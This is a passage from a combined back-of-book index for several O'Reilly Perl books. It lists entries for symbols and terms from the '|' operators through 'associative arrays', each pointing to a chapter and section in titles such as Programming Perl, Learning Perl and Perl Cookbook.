Programming Perl, 2.8.1. Format Variables
open() and
Learning Perl, 1.5.12. Warning Someone When Things Go Astray
Learning Perl, 14.3. Using Processes as Filehandles
Learning Perl on Win32 Systems, 1.6.12. Warning Someone When Things Go Astray
Learning Perl on Win32 Systems, 14.3. Using Processes as Filehandles
Programming Perl, 3.2.102. open
for option speficiers : Programming Perl, 7.2.35.2. Aliases and abbreviations
Perl debugger command
Perl in a Nutshell, Chapter 6, Reference: |
Programming Perl, 8.1.1. Debugger Commands
regular expression metacharacter
Learning Perl, 7.3.2.4. Alternation
Perl in a Nutshell, 4.6.2. Regular Expression Syntax
|= (assignment) operator
Perl in a Nutshell, 4.5.6. Assignment Operators
Programming Perl, 2.5.17. Assignment Operators
|- piping pseudo-command : Programming Perl, 6.2.2.2. Talking to yourself
|| (logical OR) operator
Perl Cookbook, 1.2. Establishing a Default Value
Learning Perl, 1.5.9. Making It a Bit More Modular
Learning Perl on Win32 Systems, 1.6.9. Making It a Bit More Modular
Perl in a Nutshell, 4.5.9. Logical Operators
Programming Perl, 2.5.14. C-style Logical (Short Circuit) Operators
as control structure : Learning Perl, 9.6. && and || as Control Structures
die() and
Learning Perl, 10.3. A Slight Diversion: die
Learning Perl on Win32 Systems, 10.4. A Slight Diversion: die
examples of
Learning Perl, A.7. Chapter 8, Functions
Learning Perl, A.15. Chapter 16, System Database Access
Learning Perl, 15.4. Advanced Sorting
Learning Perl on Win32 Systems, A.7. Chapter 8, Functions
Learning Perl on Win32 Systems, 15.4. Advanced Sorting
|| Perl debugger command
Perl in a Nutshell, Chapter 6, Reference: ||
Programming Perl, 8.1.1. Debugger Commands
||= (assignment) operator
Perl Cookbook, 1.2. Establishing a Default Value
Perl in a Nutshell, 4.5.6. Assignment Operators
Programming Perl, 2.5.17. Assignment Operators
/o pattern match modifier
Perl Cookbook, 6.10. Speeding Up Interpolated Matches
Perl in a Nutshell, 4.6.1. Pattern-Matching Operators

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: A

\A anchor (string beginning) : Perl in a Nutshell, 4.6.5. Anchors
a command (CPAN.pm) : Perl in a Nutshell, Chapter 2, Reference: a
a command (debugger) : Programming Perl, 8.1.1. Debugger Commands
a command (Perl debugger) : Perl in a Nutshell, Chapter 6, Reference: a
A command (Perl debugger) : Perl in a Nutshell, Chapter 6, Reference: A
-A file test operator
Learning Perl, 10.5. The -x File Tests
Learning Perl on Win32 Systems, 10.6. The -x File Tests
Perl in a Nutshell, 4.5.8. File Test Operators
Programming Perl, 2.5.10. Named Unary and File Test Operators
\a (alarm) sequence
Perl Cookbook, 15.7. Ringing the Terminal Bell
Perl in a Nutshell, 4.6.3. Escaped Sequences
\A (string boundary)
Programming Perl, 2.4.1.2. The rules of regular expression matching
Programming Perl, 2.4.1.3. The fine print
-a switch (dprofpp) : Perl in a Nutshell, 6.5. The Perl Profiler
-a switch (perl)
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 2.9.4. Global Special Arrays
Programming Perl, 6.1.2. Switches
-a switch (perlbug) : Perl in a Nutshell, 6.6. The perlbug Program
a2p program
Learning Perl, 18.1. Converting awk Programs to Perl
Programming Perl, 6.4.2.2. a2p
Programming Perl, 8.5.1. Translation from Awk and Sed
Abba : Learning Perl, 15.5. Transliteration
abbrev() : Programming Perl, 7.2.67. Text::Abbrev - Create an Abbreviation Table from a List
abbreviations : (see aliases)
abort() (Net::FTP) : Perl in a Nutshell, Chapter 16, Reference: abort
AbortSystemShutdown module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
abs()
Perl in a Nutshell, Chapter 5, Reference: abs
Programming Perl, 3.2.3. abs
URI::URL module : Perl in a Nutshell, Chapter 17, Reference: abs
absolute text widget positioning : Advanced Perl Programming, 14.3.5.1. Inserting text at absolute positions
absolute value : Programming Perl, 3.2.3. abs
abstract syntax tree (AST) : Advanced Perl Programming, 17.2. Jeeves Example
Academy Award data (example) : Advanced Perl Programming, 2.4. Pass the Envelope
-accelerator option (Menubutton) : Perl in a Nutshell, 18.14.1. Menu Item Options
accept()
Advanced Perl Programming, 12.2.1. Receiver
Perl Cookbook, 17.0. Introduction
Perl Cookbook, 17.2. Writing a TCP Server
Perl in a Nutshell, Chapter 5, Reference: accept
Programming Perl, 3.2.4. accept
CGI.pm module : Perl in a Nutshell, Chapter 10, Reference: accept
HTTP::Daemon module : Perl in a Nutshell, 17.3.7. HTTP::Daemon
IO::Socket module
Perl in a Nutshell, Chapter 13, Reference: accept
Perl in a Nutshell, 13.2. The IO::Socket Module
Perl in a Nutshell, 13.2.2. Server-Side Sockets
socket function
Perl in a Nutshell, 13.1. Built-in Socket Functions
Perl in a Nutshell, 13.1.3. Server Connections
access log (web server) : Perl Cookbook, 19.0. Introduction
access_log files : Perl Cookbook, 20.12. Parsing a Web Server Log File
access modes : Perl Cookbook, 7.0. Introduction
access time
Learning Perl, 13.7. Modifying Timestamps
Learning Perl on Win32 Systems, 13.5. Modifying Timestamps
Programming Perl, 3.2.159. stat
Programming Perl, 3.2.186. utime
access to database : (see databases)
access.conf file : Perl in a Nutshell, 11.4. Running CGI Scripts with mod_perl
accessing
object attributes : Advanced Perl Programming, 7.2.8. Accessor Methods
from other packages : Advanced Perl Programming, 6.1. Basic Package
privileges, persistence and : Advanced Perl Programming, 10.1. Persistence Issues
symbol table : Advanced Perl Programming, 6.8. Accessing the Symbol Table
accessor methods : Advanced Perl Programming, 7.2.8. Accessor Methods
account() (Net::Netrc) : Perl in a Nutshell, Chapter 16, Reference: account
account entries (.netrc) : Perl in a Nutshell, 16.3. FTP Configuration with Net::Netrc
$ACCUMULATOR ($^A) variable
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.8.3. Accessing Formatting Internals
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
ACTION attribute (<FORM>) : Learning Perl, 19.6. Form Generation
action of signals : Learning Perl, 14.6. Sending and Receiving Signals
activate()
Listbox widget : Perl in a Nutshell, 18.10.2. Listbox Methods
Scrollbar widget : Perl in a Nutshell, 18.9.1. Scrollbar Methods
active() (Net::NNTP) : Perl in a Nutshell, Chapter 15, Reference: active
Active Data Objects : Learning Perl on Win32 Systems, 19.3.1. Data-Access Objects
active index
Listbox widget : Perl in a Nutshell, 18.10.1. Listbox Indexes
Menu widget : Perl in a Nutshell, 18.15.1. Menu Indexes
Active Message Library : Learning Perl on Win32 Systems, 19.3. Using Automation Objects
Active Server Pages (ASP)
Perl in a Nutshell, 20. PerlScript
Perl in a Nutshell, 20.2. Server-Side PerlScript
active_times() (Net::NNTP) : Perl in a Nutshell, Chapter 15, Reference: active_times
-activebackground option (widgets) : Perl in a Nutshell, 18.3. Common Widget Configuration Options
-activeborderwidth option (Menu) : Perl in a Nutshell, 18.15. The Menu Widget
-activeforeground option (widgets) : Perl in a Nutshell, 18.3. Common Widget Configuration Options
ActivePerl distribution : (see ActiveState Perl)
-activerelief option (Scrollbar) : Perl in a Nutshell, 18.9. The Scrollbar Widget
ActiveState Perl
Learning Perl on Win32 Systems, 1.3.1. ActiveState Perl for Win32
Perl in a Nutshell, 2.3.2. Installing on Win32
installing documentation : Perl in a Nutshell, 2.5.1. Installing the Documentation
installing modules with : Perl in a Nutshell, 2.4.3. Installing Modules with ActiveState Perl
ActiveState Tool Corporation : Learning Perl on Win32 Systems, 1.1. History of Perl
ActiveWare : Learning Perl, 19.10.2. Embedded Perl
ActiveX Data Objects : Learning Perl on Win32 Systems, 17.6. Win32 Database Interfaces
Adaptor project : Advanced Perl Programming, 11. Implementing Object Persistence
design notes : Advanced Perl Programming, 11.2. Design Notes
implementation of : Advanced Perl Programming, 11.3. Implementation
Adaptor::DBI module : Advanced Perl Programming, 11.1. Adaptor: An Introduction
database mapping : Advanced Perl Programming, 11.2.4. Multivalued Attributes and Database Mapping
implementation of : Advanced Perl Programming, 11.3.2. Adaptor::DBI
object uniqueness and : Advanced Perl Programming, 11.2.8. Uniqueness of Objects in Memory
Adaptor::File module : Advanced Perl Programming, 11.1. Adaptor: An Introduction
database mapping : Advanced Perl Programming, 11.2.4. Multivalued Attributes and Database Mapping
implementation of : Advanced Perl Programming, 11.3.1. Adaptor::File
object uniqueness and : Advanced Perl Programming, 11.2.8. Uniqueness of Objects in Memory
add()
Mail::Send module
Perl in a Nutshell, Chapter 14, Reference: add
Perl in a Nutshell, 14.2.2. Better Header Control with Mail::Send
Menu widget : Perl in a Nutshell, 18.15.2. Menu Methods
add_content() (HTTP::Message) : Perl in a Nutshell, Chapter 17, Reference: add_content
add_cookie_header() (HTTP::Cookies) : Perl in a Nutshell, Chapter 17, Reference: add_cookie_header
add_group() (News::Newsrc) : Perl in a Nutshell, Chapter 15, Reference: add_group
add_label() (Mail::Folder) : Perl in a Nutshell, Chapter 14, Reference: add_label
add_prop procedure : Advanced Perl Programming, 17.4.1. AST Module
add_prop_list procedure : Advanced Perl Programming, 17.4.1. AST Module
add_signature() (Mail::Internet) : Perl in a Nutshell, Chapter 14, Reference: add_signature
AddConnection() (Win32::NetResource)
Learning Perl on Win32 Systems, 12.5. Reading a Directory Handle
Perl in a Nutshell, Chapter 19, Reference: AddConnection
AddHeader()
Response object, PerlScript : Perl in a Nutshell, 20.2.2.3. Response methods
Win32::Internet module : Perl in a Nutshell, Chapter 19, Reference: AddHeader
adding additional array elements
Programming Perl, 3.2.112. push
Programming Perl, 3.2.183. unshift
AddItems() (Menubutton) : Perl in a Nutshell, 18.14.2. Menubutton Methods
addition, operator for : Learning Perl, 2.4.1. Operators for Numbers
additive operators : Programming Perl, 2.5.8. Additive Operators
address() (Mail::Address) : Perl in a Nutshell, Chapter 14, Reference: address
address labels, and formats, examples of : Learning Perl, 11.3. Invoking a Format
address-of operator (in C) : Programming Perl, 2.5.21. C Operators Missing from Perl
addresses
email, matching/parsing
Perl Cookbook, 6.19. Matching a Valid Mail Address
Perl in a Nutshell, 14.2.6. Parse Email Addresses with Mail::Address
getting from hostnames
Programming Perl, 3.2.48. gethostbyname
Programming Perl, 3.2.52. getnetbyname
network, translating to names
Programming Perl, 3.2.47. gethostbyaddr
Programming Perl, 3.2.51. getnetbyaddr
packed sockaddr : Programming Perl, 3.2.67. getsockname
addTag() (Canvas) : Perl in a Nutshell, 18.12.3. Canvas Methods
administering network servers : Perl in a Nutshell, 19.10. Win32::NetAdmin
AdminMisc module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
ADO (ActiveX Data Objects) : Learning Perl on Win32 Systems, 17.6. Win32 Database Interfaces
advisory locking : Perl Cookbook, 7.11. Locking a File
after function : Advanced Perl Programming, 14.5. Timers
-after option (pack geometry manager) : Perl in a Nutshell, 18.2.1. The pack Geometry Manager
agent() (LWP::UserAgent) : Perl in a Nutshell, Chapter 17, Reference: agent
alarm()
Advanced Perl Programming, 5.6. Using Eval for Time-Outs
Advanced Perl Programming, 14.5. Timers
Perl Cookbook, 16.21. Timing Out an Operation
Perl in a Nutshell, Chapter 5, Reference: alarm
Programming Perl, 3.2.5. alarm
alarm bell, ringing
Perl Cookbook, 15.7. Ringing the Terminal Bell
Perl in a Nutshell, 4.6.3. Escaped Sequences
Alias module : Perl Cookbook, 13.3. Managing Instance Data
aliases : (see also typeglobs)
CGI programs and : Learning Perl, 19.3. Simplest CGI Program
for filehandles : Perl Cookbook, 7.20. Copying Filehandles
for functions : Perl Cookbook, 10.14. Redefining a Function
GetOptions() and : Programming Perl, 7.2.35.2. Aliases and abbreviations
for list elements : Perl Cookbook, 4.4. Doing Something with Every Element in a List
matching : Perl Cookbook, 6.20. Matching Abbreviations
symbol table entries : Programming Perl, 2.3.6. Typeglobs and Filehandles
aliases database : Learning Perl, 17.1. DBM Databases and DBM Hashes
Alive() (Mail::POP3Client)
Perl in a Nutshell, Chapter 14, Reference: Alive
Perl in a Nutshell, 14.2.8.5. Checking the connection
All() (Win32::OLE::Enum) : Perl in a Nutshell, Chapter 19, Reference: All
:all import tag
Learning Perl, 19.5. Less Typing
Perl in a Nutshell, 10.2. Importing Method Groups
Alloc() (Win32::Console) : Perl in a Nutshell, Chapter 19, Reference: Alloc
allocate subroutine : Advanced Perl Programming, 7.2.6. The Need for Inheritance
allocating memory
Advanced Perl Programming, 18.1. Writing an Extension: Overview
Advanced Perl Programming, 20.5.6.1. Recommended memory allocation and deallocation routines
ALRM (alarm) : Advanced Perl Programming, 5.6. Using Eval for Time-Outs
alternate quoting schemes : Perl in a Nutshell, 4.2.2. String Interpolation
alternation, in regular expressions : Learning Perl, 7.3.2.4. Alternation
alternatives, matching
Programming Perl, 2.4.1.1. The regular expression bestiary
Programming Perl, 2.4.1.2. The rules of regular expression matching
Amiga, Perl on the : Learning Perl, 1.3. Availability
ampersand : (see & (ampersand))
anchor index
Entry widget : Perl in a Nutshell, 18.8.1. Text Indexes
Listbox widget : Perl in a Nutshell, 18.10.1. Listbox Indexes
anchor object (PerlScript) : Perl in a Nutshell, 20.1.1. The Document Object
-anchor option
pack geometry manager : Perl in a Nutshell, 18.2.1. The pack Geometry Manager
place geometry manager : Perl in a Nutshell, 18.2.3. The Place Geometry Manager
widgets : Perl in a Nutshell, 18.3. Common Widget Configuration Options
anchors in regular expressions
Learning Perl, 7.3.3. Anchoring Patterns
Learning Perl on Win32 Systems, 7.3.3. Anchoring Patterns
Perl in a Nutshell, 4.6.5. Anchors
Programming Perl, 1.7.3. Nailing Things Down
Programming Perl, 2.4.1.2. The rules of regular expression matching
AND (&) operator, bitwise
Perl in a Nutshell, 4.5.10. Bitwise Operators
Programming Perl, 2.5.13. Bitwise Operators
AND (&&) operator, logical
Perl in a Nutshell, 4.5.9. Logical Operators
Programming Perl, 2.5.14. C-style Logical (Short Circuit) Operators
Programming Perl, 2.5.20. Logical and, or, not, and xor
Programming Perl, 8.4. Programming with Style
AND functionality in regular expressions : Perl Cookbook, 6.17. Expressing AND, OR, and NOT in a Single Pattern
angle brackets : (see < > (angle brackets))
angle operator
Programming Perl, 2.3.7.2. Line input (angle) operator
Programming Perl, 6.1.2. Switches
angles in degrees vs. radians : Perl Cookbook, 2.11. Doing Trigonometry in Degrees, not Radians
anonymous
array composer : Programming Perl, 4.2.2. The Anonymous Array Composer
arrays
Advanced Perl Programming, 1.2.3. References to Anonymous Storage
Advanced Perl Programming, 1.3.2. Final Shortcut: Omit Arrows Between Subscripts
data
Perl Cookbook, 11.0. Introduction
Perl in a Nutshell, 4.8.1.1. Referencing anonymous data
definition of : Advanced Perl Programming, 1.1. Referring to Existing Variables
FTP
Perl in a Nutshell, 2.1. The CPAN Architecture
Perl in a Nutshell, 16.1. The FTP Protocol
Programming Perl, Using Anonymous FTP
hash composer : Programming Perl, 4.2.3. The Anonymous Hash Composer
hashes
Advanced Perl Programming, 1.2.3. References to Anonymous Storage
Advanced Perl Programming, 1.3.2. Final Shortcut: Omit Arrows Between Subscripts
pipes : Programming Perl, 6.2.2.1. Anonymous pipes
scalars : Programming Perl, 5.4.1. Tying Scalars
subroutine composer : Programming Perl, 4.2.4. The Anonymous Subroutine Composer
subroutines
Advanced Perl Programming, 3.3.3. Naming Anonymous Subroutines
Advanced Perl Programming, 4.1.2. References to Anonymous Subroutines
Perl in a Nutshell, 4.7. Subroutines
Programming Perl, 2.7. Subroutines
antique_client() (HTTP::Daemon::ClientConn) : Perl in a Nutshell, Chapter 17, Reference: antique_client
AnyDBM_File module
Perl in a Nutshell, 8.1. AnyDBM_File
Programming Perl, 7.2.1. AnyDBM_File - Provide Framework for Multiple DBMs
Apache modules : Perl in a Nutshell, 11.7. Apache:: Modules
Apache::DumpHeaders module : Perl in a Nutshell, 11.3. mod_perl Handlers
Apache::Include module : Perl in a Nutshell, 11.5. Server-Side Includes with mod_perl
Apache::Registry module : Perl in a Nutshell, 11.4. Running CGI Scripts with mod_perl
Apache server
log files : Perl Cookbook, 20.12. Parsing a Web Server Log File
mod_perl module
Perl Cookbook, 19.5. Making CGI Scripts Efficient
Perl in a Nutshell, 11. Web Server Programming with mod_perl
API, Perl
Advanced Perl Programming, 19.2. Embedding Overview
Advanced Perl Programming, 19.3. Examples
apop() (Net::POP3) : Perl in a Nutshell, Chapter 14, Reference: apop
apostrophe : (see ' (single quotation marks))
appe() (Net::FTP) : Perl in a Nutshell, Chapter 16, Reference: appe
append()
CGI.pm module : Perl in a Nutshell, Chapter 10, Reference: append
Net::FTP module : Perl in a Nutshell, Chapter 16, Reference: append
append_message() (Mail::Folder) : Perl in a Nutshell, Chapter 14, Reference: append_message
appendhash_demo program (example) : Perl Cookbook, 13.15. Creating Magic Variables with tie
appending
arrays to each other : Perl Cookbook, 4.9. Appending One Array to Another
elements to arrays : Programming Perl, 3.2.112. push
to files : Learning Perl, 10.2. Opening and Closing a Filehandle
AppendToLog() (Response object, PerlScript) : Perl in a Nutshell, 20.2.2.3. Response methods
Apple Macintosh, and Perl : Learning Perl, 1.3. Availability
Application object (PerlScript) : Perl in a Nutshell, 20.2. Server-Side PerlScript
approximate (fuzzy) matching : Perl Cookbook, 6.13. Approximate Matching
archaeology : Learning Perl, 15.2. Extracting and Replacing a Substring
Archimedean spiral (example) : Advanced Perl Programming, 14.3.4. Canvas
architecture, Perl : Advanced Perl Programming, 20.2. Architecture
arctangents : Programming Perl, 3.2.6. atan2
$ARG ($_) variable
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.4.1.3. The fine print
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
accidental clobbering : Perl Cookbook, 4.4. Doing Something with Every Element in a List
angle operator and : Programming Perl, 2.3.7.2. Line input (angle) operator
file tests default : Learning Perl on Win32 Systems, 10.6. The -x File Tests
forearch statement and
Learning Perl, 4.5. The foreach Statement
Learning Perl on Win32 Systems, 4.6. The foreach Statement
Programming Perl, 2.6.4.3. Foreach loops
glob() : Programming Perl, 2.3.7.3. Filename globbing operator
grep() : Programming Perl, 3.2.72. grep
implicit assignment to when reading : Learning Perl, 6.1. Input from STDIN
map() : Programming Perl, 3.2.91. map
outlawing unauthorized use
Perl Cookbook, 1.18. Program: psgrep
Perl Cookbook, 13.15. Creating Magic Variables with tie
regular expression matching default : Learning Perl on Win32 Systems, 7.2. Simple Uses of Regular Expressions
selecting other than with =~ operator : Learning Perl, 7.4.1. Selecting a Different Target (the =~ Operator)
split() default : Learning Perl on Win32 Systems, 7.6.1. The split Function
stat(), lstat() : Learning Perl on Win32 Systems, 10.7. The stat Function
tr() default target : Learning Perl on Win32 Systems, 15.5. Transliteration
unlink() default : Learning Perl on Win32 Systems, 13.1. Removing a File
$_[0] : Learning Perl, 8.4. Arguments
arguments, subroutines
Perl Cookbook, 10.1. Accessing Subroutine Arguments
Learning Perl, 8.4. Arguments
Perl in a Nutshell, 4.7.2. Passing Arguments
function prototypes : Perl Cookbook, 10.11. Prototyping Functions
passing by named parameter : Perl Cookbook, 10.7. Passing by Named Parameter
passing by reference : Perl Cookbook, 10.5. Passing Arrays and Hashes by Reference
@ARGV array
Perl in a Nutshell, 4.4.2. Global Special Arrays and Hashes
Programming Perl, 2.3.7.2. Line input (angle) operator
Programming Perl, 2.9.4. Global Special Arrays
Programming Perl, 7.2.35. Getopt::Long - Extended Processing of Command-Line Options
for command-line arguments : Learning Perl, 6.2. Input from the Diamond Operator
example of accessing : Learning Perl, A.12. Chapter 13, File and Directory Manipulation
ARGV filehandle
Perl in a Nutshell, 4.4.3. Global Special Filehandles
Perl in a Nutshell, 4.9. Filehandles
Programming Perl, 2.9.5. Global Special Filehandles
-argv option (perlcc) : Perl in a Nutshell, 3.4. The Perl Compiler
$ARGV variable
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
ARGV, magic : (see magic open)
arithmetic
Perl Cookbook, 2.0. Introduction
Perl Cookbook, 2.14. Multiplying Matrices
Perl Cookbook, 2.15. Using Complex Numbers
arithmetic operators
Perl in a Nutshell, 4.5.3. Arithmetic Operators
Programming Perl, 1.5.1. Arithmetic Operators
Programming Perl, 2.5.5. Ideographic Unary Operators
Programming Perl, 7.2.48.3. Overloadable operations
array assignment operator : Learning Perl, 3.4.1. Assignment
array context, readdir() and : Learning Perl on Win32 Systems, 12.5. Reading a Directory Handle
array elements
accessing
Learning Perl, 1.5.5. More than One Secret Word
Learning Perl on Win32 Systems, 1.6.5. More than One Secret Word
numbering of : Learning Perl, 3.4.2. Array Element Access
referencing : Learning Perl, 3.4.2. Array Element Access
replacing/removing elements : Programming Perl, 3.2.154. splice
array expression, as subscript : Learning Perl, 3.4.2. Array Element Access
array literals : Learning Perl, 3.2. Literal Representation
array operators : Learning Perl, 3.4. Array Operators and Functions
array slice : Learning Perl on Win32 Systems, 3.4.2. Array Element Access
$#ARRAY variable : Perl Cookbook, 4.3. Changing Array Size
array variables : Learning Perl, 3.3. Variables
in array literals : Learning Perl, 3.4.1. Assignment
assigned scalar values : Learning Perl, 3.4.1. Assignment
automatically growing : Learning Perl, 3.4.2. Array Element Access
default value of : Learning Perl, 3.3. Variables
foreach statement
Learning Perl, 4.5. The foreach Statement
Learning Perl on Win32 Systems, 4.6. The foreach Statement
interpolated into strings : Learning Perl, 3.7. Variable Interpolation of Arrays
in scalar context : Learning Perl, 3.4.1. Assignment
arrays
(see also array elements)
Advanced Perl Programming, 1.6. A View of the Internals
Perl Cookbook, 4.0. Introduction
Learning Perl, 1.5.5. More than One Secret Word
Learning Perl, 3.1. What Is a List or Array?
Learning Perl on Win32 Systems, 1.6.5. More than One Secret Word
Learning Perl on Win32 Systems, 3.1. What Is a List or Array?
Perl in a Nutshell, 4.2. Data Types and Variables
Perl in a Nutshell, 4.2.4.1. Arrays
Programming Perl, 1.2.1.2. Pluralities
Programming Perl, 2.2. Built-in Data Types
@_ array : (see @ (at sign), @_ array)
anonymous
Advanced Perl Programming, 1.2.3. References to Anonymous Storage
Advanced Perl Programming, 1.3.2. Final Shortcut: Omit Arrows Between Subscripts
Perl Cookbook, 11.0. Introduction
Programming Perl, 4.2.2. The Anonymous Array Composer
appending (to)
Perl Cookbook, 4.9. Appending One Array to Another
Programming Perl, 3.2.112. push
of arrays : Advanced Perl Programming, 2.2. Example: Matrices
arrow notation for : Advanced Perl Programming, 1.1.7. Shortcuts with the Arrow Notation
associative : (see hashes (associative arrays))
AVs (array values) : Advanced Perl Programming, 20.3.2. Array Values (AV)
in awk : Programming Perl, 6.4.2.2. a2p
circular : Perl Cookbook, 4.16. Implementing a Circular List
deleting elements of
Programming Perl, 3.2.108. pop
Programming Perl, 3.2.143. shift
Programming Perl, 3.2.154. splice
dynamic binding : Advanced Perl Programming, 9.2. Tying Arrays
empty : Learning Perl, 3.2. Literal Representation
extracting from
Perl Cookbook, 4.6. Extracting Unique Elements from a List
Perl Cookbook, 4.13. Finding All Elements in an Array Matching Certain Criteria
files as (example) : Advanced Perl Programming, 9.2.1. TIEARRAY Example: File as an Array
first element of : Programming Perl, 2.9.3. Global Special Variables
functions for processing : Perl in a Nutshell, 5.1. Perl Functions by Category
global : Programming Perl, 2.9.4. Global Special Arrays
hashes of, and of hashes
Advanced Perl Programming, 2.2.2. Other Matrix Representations
Perl Cookbook, 11.2. Making Hashes of Arrays
Programming Perl, 4.7.3. Arrays of Hashes
initializing
Perl Cookbook, 4.1. Specifying a List In Your Program
Programming Perl, 2.5.7. Multiplicative Operators
iterating through elements
Perl Cookbook, 4.4. Doing Something with Every Element in a List
Perl Cookbook, 4.12. Finding the First List Element That Passes a Test
last element of : Programming Perl, 2.3.4. List Values and Arrays
last valid index ($#ARRAY) : Perl Cookbook, 4.3. Changing Array Size
length of : Programming Perl, 2.3.4. List Values and Arrays
lists and
Perl Cookbook, 4.0. Introduction
Programming Perl, 2.3.4. List Values and Arrays
matrix multiplication : Perl Cookbook, 2.14. Multiplying Matrices
multidimensional
Advanced Perl Programming, 1.3.2. Final Shortcut: Omit Arrows Between Subscripts
Perl Cookbook, 4.0. Introduction
Programming Perl, 4.6. A Brief Tutorial: Manipulating Lists of Lists
Programming Perl, 4.7.1. Arrays of Arrays
names for : Programming Perl, 2.3.1. Variables
passing to subroutines : Advanced Perl Programming, 1.2.1. Passing Arrays and Hashes to Subroutines
performance and : Programming Perl, 8.3.1. Time Efficiency
permute program : Perl Cookbook, 4.19. Program: permute
pop function and : Programming Perl, 3.2.108. pop
prepending elements to : Programming Perl, 3.2.183. unshift
printing elements with commas : Perl Cookbook, 4.2. Printing a List with Commas
processing multiple elements : Perl Cookbook, 4.11. Processing Multiple Elements of an Array
randomizing : Perl Cookbook, 4.17. Randomizing an Array
randomly selecting from : Perl Cookbook, 2.7. Generating Random Numbers
readdir() and : Learning Perl, 12.5. Reading a Directory Handle
reading files backwards : Perl Cookbook, 8.4. Reading a File Backwards by Line or Paragraph
references to
Advanced Perl Programming, 1.1.4. References to Arrays
Advanced Perl Programming, 1.6.2. Array/Hash References Versus Element References
Perl Cookbook, 11.1. Taking References to Arrays
reversing elements of : Perl Cookbook, 4.10. Reversing an Array
of scalar references : Perl Cookbook, 11.6. Creating Arrays of Scalar References
size of
Perl Cookbook, 4.3. Changing Array Size
Learning Perl, 3.1. What Is a List or Array?
Learning Perl on Win32 Systems, 3.1. What Is a List or Array?
slices of : Learning Perl, 3.4.2. Array Element Access
sorting elements : Perl Cookbook, 4.14. Sorting an Array Numerically
special (predefined) : Perl in a Nutshell, 4.4.2. Global Special Arrays and Hashes
storing attributes with : Advanced Perl Programming, 8.1.1. ObjectTemplate: Attribute Storage Using Arrays
of subroutine references : Advanced Perl Programming, 4.2.1. Dispatch Table
subscript separator : (see $ variables, $; variable)
SWIG and : Advanced Perl Programming, 18.3. SWIG Features
of symbolic references : Advanced Perl Programming, 1.5. Symbolic References
text files as database arrays : Perl Cookbook, 14.7. Treating a Text File as a Database Array
typing : Programming Perl, 5.4.2. Tying Arrays
unions, intersections, differences : Perl Cookbook, 4.7. Finding Elements in One Array but Not Another
variables of : Programming Perl, 2.3.2.5. Interpolating array values
words program (example) : Perl Cookbook, 4.18. Program: words
arrow (->) operator : (see - (hyphen), -> (arrow) operator)
article() (Net::NNTP) : Perl in a Nutshell, Chapter 15, Reference: article
article command (NNTP) : Perl in a Nutshell, 15.1. The NNTP Protocol
articles, news : (see Usenet news)
artificial languages : Programming Perl, 1.2. Natural and Artificial Languages
Artistic License : Learning Perl, 1.3. Availability
As() (Win32::OLE::Variant) : Perl in a Nutshell, Chapter 19, Reference: As
as_HTML() (HTML::Parser) : Perl in a Nutshell, Chapter 17, Reference: as_HTML
as_string()
HTTP::Cookies module : Perl in a Nutshell, Chapter 17, Reference: as_string
HTTP::Request module : Perl in a Nutshell, Chapter 17, Reference: as_string
HTTP::Response module : Perl in a Nutshell, Chapter 17, Reference: as_string
LWP::RobotUA module : Perl in a Nutshell, Chapter 17, Reference: as_string
URI::URL module : Perl in a Nutshell, Chapter 17, Reference: as_string
ASCII
converting POD data to : Programming Perl, 7.2.50. Pod::Text - Convert POD Data to Formatted ASCII Text
converting to characters : Programming Perl, 3.2.16. chr
values for characters : Programming Perl, 3.2.104. ord
ASCII characters : (see characters)
ascii() (Net::FTP module) : Perl in a Nutshell, Chapter 16, Reference: ascii
Ascii() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: Ascii
ASP (Active Server Pages)
Perl in a Nutshell, 20. PerlScript
Perl in a Nutshell, 20.2. Server-Side PerlScript
aspect() (Frame widget) : Perl in a Nutshell, 18.18.1. Toplevel Methods
assertions : Programming Perl, 2.4.1.2. The rules of regular expression matching
assigning
to arrays
Learning Perl, 1.5.5. More than One Secret Word
Learning Perl on Win32 Systems, 1.6.5. More than One Secret Word
binary : Learning Perl, 2.6.1. Binary Assignment Operators
to lists : Programming Perl, 2.3.4. List Values and Arrays
to substr() : Learning Perl, 15.2. Extracting and Replacing a Substring
assignment operators
Perl Cookbook, 1.2. Establishing a Default Value
Learning Perl, 2.6. Scalar Operators and Functions
Perl in a Nutshell, 4.5.6. Assignment Operators
Programming Perl, 1.5.3. Assignment Operators
Programming Perl, 2.5.17. Assignment Operators
Programming Perl, 8.2.7. Previous Perl Traps
assignment, list : Perl Cookbook, 1.3. Exchanging Values Without Using Temporary Variables
associations, object : Advanced Perl Programming, 11.2.7. Object Associations
associative array key : Learning Perl, 1.5.6. Giving Each Person a Different Secret Word
associative array operators : Learning Perl, 5.4. Hash Functions
associative arrays : (see hashes)
associative arrays (hashes)
Advanced Perl Programming, 1.6. A View of the Internals
Learning Perl, 1.5.6. Giving Each Person a Different Secret Word
Learning Perl, 5.1. What Is a Hash?
Learning Perl on Win32 Systems, 5.1. What Is a Hash?
Perl in a Nutshell, 4.2. Data Types and Variables
Perl in a Nutshell, 4.2.4.2. Hashes
Programming Perl, 1.2.1.2. Pluralities
Programming Perl, 2.2. Built-in Data Types
Programming Perl, 2.3.5. Hashes (Associative Arrays)
anonymous
Advanced Perl Programming, 1.2.3. References to Anonymous Storage
Advanced Perl Programming, 1.3.2. Final Shortcut: Omit Arrows Between Subscripts
Programming Perl, 4.2.3. The Anonymous Hash Composer
of arrays, code for : Programming Perl, 4.7.2. Hashes of Arrays
arrow notation for : Advanced Perl Programming, 1.1.7. Shortcuts with the Arrow Notation
binding
Advanced Perl Programming, 9.3. Tying Hashes
Programming Perl, 3.2.24. dbmopen
of complex records : Programming Perl, 4.7.5.3. Generation of a hash of complex records
creating new elements : Learning Perl, 5.2. Hash Variables
